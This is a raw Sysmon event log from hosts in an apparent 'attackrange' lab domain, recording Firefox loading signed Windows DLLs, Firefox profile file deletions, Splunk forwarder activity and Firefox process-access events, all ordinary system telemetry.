14:58:23.387{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ResourcePolicyClient.dll10.0.14393.3808 (rs1_release.200707-2105)Resource Policy ClientMicrosoft® Windows® Operating SystemMicrosoft CorporationResourcePolicyClient.dllMD5=8FD5FEFE4E020BBC2D95F07BCDC84F71,SHA256=E5E351822CCDEBF81C47C4CA1D5C158E2880C1BD29CA024D163FD9316F3046AE,IMPHASH=E494F732179E765F2CE18BC21CDB1948trueMicrosoft WindowsValid 734700x800000000000000050073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.387{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dxgi.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)DirectX Graphics InfrastructureMicrosoft® Windows® Operating SystemMicrosoft Corporationdxgi.dllMD5=3C32D763740C83DB2C44DEA4B6F18C54,SHA256=ED26DBB9C3656767CA25887CDC3B45CF978AFC75E064FF5457A36C7A69E55223,IMPHASH=83736A76214A92F5C1B53248D0C22863trueMicrosoft WindowsValid 734700x800000000000000050072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.372{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\BCP47Langs.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)BCP47 Language ClassesMicrosoft® Windows® Operating SystemMicrosoft CorporationBCP47Lang.dllMD5=F688C2B9DD2EB56C3B0312B6380338AA,SHA256=B22DB210486D3B5F4EEB17900C5E7AA0EEFEDBB068A0C4858EFE9F8018C34628,IMPHASH=31EA1856BC7597303D8126028BBFDFB8trueMicrosoft WindowsValid 734700x800000000000000050071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.372{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\Windows.Globalization.dll10.0.14393.4467 (rs1_release.210604-1844)Windows GlobalizationMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Globalization.dllMD5=4D2537567A93ABF1D93CB7A7E76F954C,SHA256=5740181B56927C0DC66A6BCECA15EA2806A0ED471A01F785AD47C8C73A1DF85F,IMPHASH=0280A5811869EFED56B453A140477D51trueMicrosoft WindowsValid 734700x800000000000000050070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.372{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\devobj.dll10.0.14393.0 (rs1_release.160715-1616)Device Information Set DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdevinfoset.DLLMD5=72AD993A6E896EB50058A73D045F3284,SHA256=CFF524F52D5F91788F34A47076E0CA36132890981079B27F559279B3F6FC3B11,IMPHASH=DFDCA72C641F8587ADF49CA0ED1D5817trueMicrosoft WindowsValid 734700x800000000000000050069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.372{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\WinTypes.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Base Types DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWinTypes.dllMD5=9F209F29ABFF007F55328BCC36367005,SHA256=7F2CBE9B349062DFD782032D50C335E6C292EC5F509746941982A7161F24ED84,IMPHASH=58F905117CF0434AF54A7CD9D43EEF30trueMicrosoft WindowsValid 734700x800000000000000050068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.372{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ExplorerFrame.dll10.0.14393.4169 (rs1_release.210107-1130)ExplorerFrameMicrosoft® Windows® Operating SystemMicrosoft CorporationExplorerFrame.dllMD5=BB0850797E5D50E70FFB3FFCEBFE77A9,SHA256=042F69100AAEB04CF79872035422A033FB87F2F0113EE89AB6B61FFA41A224D8,IMPHASH=BE381F028EB6D274783D5F8AA4F3DCECtrueMicrosoft WindowsValid 23542300x800000000000000050067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.356{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\cache2\doomed\29372MD5=3807643F2F2245BFC2E9AFF0C4C98DA4,SHA256=78E2DD5E87AF7A4E5D1C54AAC5CC5F88C23731C1FBD3FA2D0E354B971ECFECC4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.356{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\cookies.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.325{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dhcpcsvc6.dll10.0.14393.3930 (rs1_release.200901-1914)DHCPv6 ClientMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc6.dllMD5=1721EAC44BCFC7177AA664ADCA514F23,SHA256=C099BCCE44A04A48147DE8CF093EBF997510154113789BF31394B5148F60B375,IMPHASH=1278B10B4CD792CEC37AF93D76A387ECtrueMicrosoft WindowsValid 734700x800000000000000050064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.325{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\twinapi.dll10.0.14393.4169 (rs1_release.210107-1130)twinapiMicrosoft® Windows® Operating SystemMicrosoft Corporationtwinapi.dllMD5=40E4471EAFBC1AB4D40288BF005AB895,SHA256=E93454095918346B3426D55704F02DF6FBB1B840BF969CE619E3F10BA0AC9A44,IMPHASH=BE2A18E7131BB697F5E7CE37E2AEC582trueMicrosoft WindowsValid 734700x800000000000000050063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.325{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\twinapi.appcore.dll10.0.14393.4169 (rs1_release.210107-1130)twinapi.appcoreMicrosoft® Windows® Operating SystemMicrosoft Corporationtwinapi.appcore.dllMD5=B877C5BDEA2215B3D3CF89F645EB535C,SHA256=2F5468CC4277C8CB4B2AD1095AFC739ECAE0F0B6EE78E57BF64A97F3BDA54C19,IMPHASH=52DACB9FFE8B422785C607A5B88982C7trueMicrosoft WindowsValid 734700x800000000000000050062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.325{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winnsi.dll10.0.14393.2339 (rs1_release_inmarket.180611-1502)Network Store Information RPC interfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationwinnsi.dllMD5=25B3BD4D63460EE4599F5631C1B83D21,SHA256=07E055D47940F09CB7EB512D52672C944D7D2F035A2F45766319871C0862C5B1,IMPHASH=77951C1B66390D48C5FC7B47D7C8668AtrueMicrosoft WindowsValid 734700x800000000000000050061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.325{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DataExchange.dll10.0.14393.4169 (rs1_release.210107-1130)Data exchangeMicrosoft® Windows® Operating SystemMicrosoft CorporationDataExchange.dllMD5=23F499FA8F8E02A8090FB78E80617BDD,SHA256=08C2E505F3765D98379BB88DC8AD5555AB680A691054933FCA1A2CFCDFA42F51,IMPHASH=05056B92E29CCE6F97F9C6674AE080C0trueMicrosoft WindowsValid 734700x800000000000000050060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.325{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\npmproxy.dll10.0.14393.4169 (rs1_release.210107-1130)Network List Manager ProxyMicrosoft® Windows® Operating SystemMicrosoft Corporationnpfproxy.dllMD5=4D76C6FAF3D01B31A68C9ABF95F4B7D4,SHA256=9B771613C067880E99ED3D68E6C2A43C6B252E899D44682ADEB5A7F02E925920,IMPHASH=55727E718711848BBCDC7F433974B473trueMicrosoft WindowsValid 734700x800000000000000050059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.309{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\netprofm.dll10.0.14393.4169 (rs1_release.210107-1130)Network List ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationnetprofm.dllMD5=02AD37C3C2D54BCD9E7BD2AFF3D6E7A6,SHA256=D71D631EC1790A9BD9451EFAEFC7EBADE6353A17CDBB4D8AAACD3102430A686E,IMPHASH=421DFA99869D231800F1E7ABEE7E4DA4trueMicrosoft WindowsValid 734700x800000000000000050058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.309{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000050057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.309{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 23542300x800000000000000050056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\parent.lockMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000050054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000050053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winsta.dll10.0.14393.0 (rs1_release.160715-1616)Winstation LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationwinsta.dllMD5=12668CEFEE3754CFA61C5699821668B3,SHA256=D0C81619EDE8B846D98417989684EF16DF3A053CC049C7281E40F3359AD5B570,IMPHASH=2E790E44628AED89C2CC17E1E4A5CE1CtrueMicrosoft WindowsValid 734700x800000000000000050052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000050051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000050050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000050049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000050048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000050047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000050046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 734700x800000000000000050045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.278{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 23542300x800000000000000050044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.262{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1EEA8938114D953699A613DDD71824C,SHA256=5D6BCB3F6FB9708A5712F5C5052F9FBF2782195F0D536324F5251B902453539B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016338Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:24.610{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C6FE91C3BA0180CC8E4919622A850A6A,SHA256=8A357B218C1704BD7DFA58F06D39B69FA67C2AAFCF4894D53F4118B2B6261182,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000050590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.986{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\pending_pings\02b0c5be-eb80-409a-9fd0-ccba5f8d1486MD5=A1BBC262127F05F4977F5D4927281477,SHA256=432B27DE4B88F46C8FF852C6292A85BB27BAB223295680BCF1FAD43384C23440,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.955{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.923{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 